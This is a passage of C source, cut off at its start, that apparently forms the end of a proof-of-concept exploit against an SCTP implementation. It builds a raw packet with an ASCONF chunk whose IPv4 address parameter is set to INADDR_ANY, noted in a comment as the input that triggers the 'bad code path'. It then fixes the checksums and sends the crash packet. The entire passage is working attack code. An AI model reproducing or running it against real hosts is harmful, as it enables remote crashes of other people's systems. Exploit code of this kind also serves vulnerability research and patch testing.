ASCONF chunk */ asconf_chunk = (void *)crash + sizeof(struct ip) + sizeof(struct sctphdr) + sizeof(struct sctp_auth_chunk) + 8; asconf_chunk->ch.type = SCTP_ASCONF; asconf_chunk->ch.length = htons(sizeof(struct sctp_asconf_chunk) + sizeof(struct sctp_ipv4addr_param)); asconf_chunk->serial = 0x41414141; /* whatever */ ipv4_addr = (void *)crash + sizeof(struct ip) + sizeof(struct sctphdr) + sizeof(struct sctp_auth_chunk) + 8 + sizeof(struct sctp_asconf_chunk); ipv4_addr->ph.length = htons(sizeof(struct sctp_ipv4addr_param)); ipv4_addr->ph.type = htons(0x0005); ipv4_addr->addr = INADDR_ANY; /* this takes us down the bad code path */ /* what's the length of the whole packet? */ iph->ip_len = sizeof(struct ip) + sizeof(struct sctphdr) + sizeof(struct sctp_auth_chunk) + 8 + sizeof(struct sctp_asconf_chunk) + sizeof(struct sctp_ipv4addr_param); /* calculate IP checksum */ iph->ip_sum = checksum((unsigned short *)crash, iph->ip_len >> 1); /* calculate SCTP checksum */ sctph->csum = htonl(sctp_crc32c((const unsigned char *)sctph, sizeof(struct sctphdr) + sizeof(struct sctp_auth_chunk) + 8 + sizeof(struct sctp_asconf_chunk) + sizeof(struct sctp_ipv4addr_param))); printf("[*] sending packet..\n\n"); /* send the bad packet */ ret = sendto(sock, crash, iph->ip_len, 0, (struct sockaddr *)&sin, sizeof(struct sockaddr)); if(ret < 0) { printf("[*] error sending packet\n"); return -1; } printf("[*] done, bad packet sent!\n\n"); free(crash); close(sock); return 0; }